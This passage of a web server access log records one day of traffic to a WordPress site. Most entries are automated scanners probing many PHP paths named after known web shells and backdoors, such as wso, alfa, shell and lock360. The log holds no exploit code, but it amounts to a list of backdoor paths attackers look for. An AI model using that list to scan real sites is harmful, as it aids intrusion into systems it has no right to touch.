+0300] "GET /php_version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:23:16 +0300] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 43.157.181.189 - - [07/Feb/2026:12:31:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.144.75 - - [07/Feb/2026:13:02:44 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:02:46 +0300] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:04:10 +0300] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:04:13 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:35 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:02:34 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:02:38 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:40 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:43 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:46 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:49 +0300] "GET /02.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:51 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:53 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:56 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:58 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:04:00 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:04:04 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:02:51 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:02:53 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:02:56 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:02:58 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:02 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:04 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:06 +0300] "GET /im.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:10 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:14 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:18 +0300] "GET /include.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:21 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:25 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [07/Feb/2026:13:03:28 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 209.38.72.98 - - [07/Feb/2026:13:46:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 122.51.236.174 - - [07/Feb/2026:13:31:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.110.243.199 - - [07/Feb/2026:14:46:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:25 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:28 +0300] "GET /h02ugyh.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:30 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:33 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:36 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:38 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:41 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:43 +0300] "GET /lkj.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:45 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:47 +0300] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:50 +0300] "GET /xs.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:52 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:55 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:57 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:46:59 +0300] "GET //cxc.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:04 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:09 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:11 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:16 +0300] "GET /a332.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:17 +0300] "GET /z-ehp.php HTTP/1.1" 301 795 "-" "-" 209.38.72.98 - - [07/Feb/2026:13:46:12 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://mail.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.110.243.199 - - [07/Feb/2026:14:47:22 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:25 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:27 +0300] "GET /ak.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:29 +0300] "GET /35.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:31 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:33 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:35 +0300] "GET /96i.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:38 +0300] "GET /54.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:40 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:43 +0300] "GET /system123.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:46 +0300] "GET /kjh.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:50 +0300] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:52 +0300] "GET /black.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:14:47:55 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 173.252.82.10 - - [07/Feb/2026:15:56:09 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 93.158.90.42 - - [07/Feb/2026:17:51:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/n2.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; Mi MIX 2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Bullet/Assets/dist/w-bullet.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1" 43.133.66.51 - - [07/Feb/2026:18:33:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/smartslider-frontend.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/75.0.3770.90 Chrome/75.0.3770.90 Safari/537.36" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/core.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG-SM-G930A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 145.220.91.19 - - [07/Feb/2026:17:52:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend.min.js HTTP/1.1" 301 795 "-" "Adobe Application Manager 2.0" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/ss-simple.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2" 20.151.2.11 - - [07/Feb/2026:17:23:15 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/smartslider-backgroundanimation.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0; NCE-AL00 Build/HUAWEINCE-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044813 Mobile Safari/537.36 MMWEBID/6904 MicroMessenger/7.0.6.1460(0x27000634) Process/tools NetType/4G Language/zh_CN" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/dist/w-arrow-image.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.109" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/uploads/theplus-addons/theplus-post-81.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36" 20.151.2.11 - - [07/Feb/2026:17:23:21 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [07/Feb/2026:17:23:23 +0300] "GET /x9.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [07/Feb/2026:17:23:25 +0300] "GET /byel.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [07/Feb/2026:17:23:26 +0300] "GET /layou.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [07/Feb/2026:17:23:28 +0300] "GET /lgsts.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [07/Feb/2026:17:23:29 +0300] "GET /tourpa.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [07/Feb/2026:17:23:31 +0300] "GET /yvtuizub.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [07/Feb/2026:17:23:33 +0300] "GET /mln.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [07/Feb/2026:17:23:34 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [07/Feb/2026:17:23:36 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 44.195.201.244 - - [07/Feb/2026:17:53:03 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0)" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.0.0; SM-G930F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 43.166.247.82 - - [07/Feb/2026:17:34:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/themes/blocksy/static/bundle/main.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/blocksy-companion/static/bundle/sticky.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/lib/jquery-numerator/jquery-numerator.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/mouse.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/slider.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-G900A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36" 16.144.17.106 - - [07/Feb/2026:18:30:16 +0300] "GET //static.elfsight.com/platform/platform.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; PRA-LX1 Build/HUAWEIPRA-LX1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36" 27.46.69.11 - - [07/Feb/2026:18:47:30 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.3302.61 Safari/537.36 QIHU 360EE" 20.27.221.169 - - [07/Feb/2026:20:04:25 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:30 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:34 +0300] "GET /rzki.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:38 +0300] "GET /zfile.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:23 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:29 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:33 +0300] "GET /wp-content/lock360.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:36 +0300] "GET /okxh.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:40 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:02 +0300] "GET /css/radio.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:53 +0300] "GET /xxm.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:56 +0300] "GET /size.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:59 +0300] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:01 +0300] "GET /w3lls.php7 HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:29 +0300] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:33 +0300] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:35 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:38 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:53 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:55 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:58 +0300] "GET /yr.PHP HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:04:54 +0300] "GET /41.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:04:58 +0300] "GET /zc-845.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:01 +0300] "GET /wsdxoeas.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:05 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:54 +0300] "GET /acxx.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:56 +0300] "GET /cah.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:01 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:05 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:22 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:25 +0300] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:29 +0300] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:32 +0300] "GET /ziwopudm.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:35 +0300] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:38 +0300] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:42 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:45 +0300] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:47 +0300] "GET /cczkdmdy.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:15 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:11:09 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:25 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:29 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:55 +0300] "GET /priv.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:07 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:09 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:13 +0300] "GET /mah/xBrain.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:45 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:47 +0300] "GET /set.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:50 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:54 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:57 +0300] "GET /ar/mgsl.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:01 +0300] "GET /living.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:05 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:40 +0300] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:44 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:47 +0300] "GET /wp-4doption1.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:50 +0300] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:54 +0300] "GET /kdgok.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:58 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:11:01 +0300] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:11:04 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:11:32 +0300] "GET /fck.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:36 +0300] "GET /wp-ait.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:41 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:45 +0300] "GET /dex.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:15:02 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:57 +0300] "GET /hlonk.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:00 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:02 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:12 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:16 +0300] "GET /assets/as.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:21 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:25 +0300] "GET /panel.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:11:16 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:11:49 +0300] "GET /hilk.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:43 +0300] "GET /zoo.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:47 +0300] "GET /rum.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:04:34 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:04:38 +0300] "GET /27.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:04:42 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:04:45 +0300] "GET /ws64.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:04:48 +0300] "GET /bay11.php HTTP/1.1" 301 795 "-" "-" 182.43.70.143 - - [07/Feb/2026:20:07:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.27.221.169 - - [07/Feb/2026:20:07:42 +0300] "GET /yasnu.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:45 +0300] "GET /bs2.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:48 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:50 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 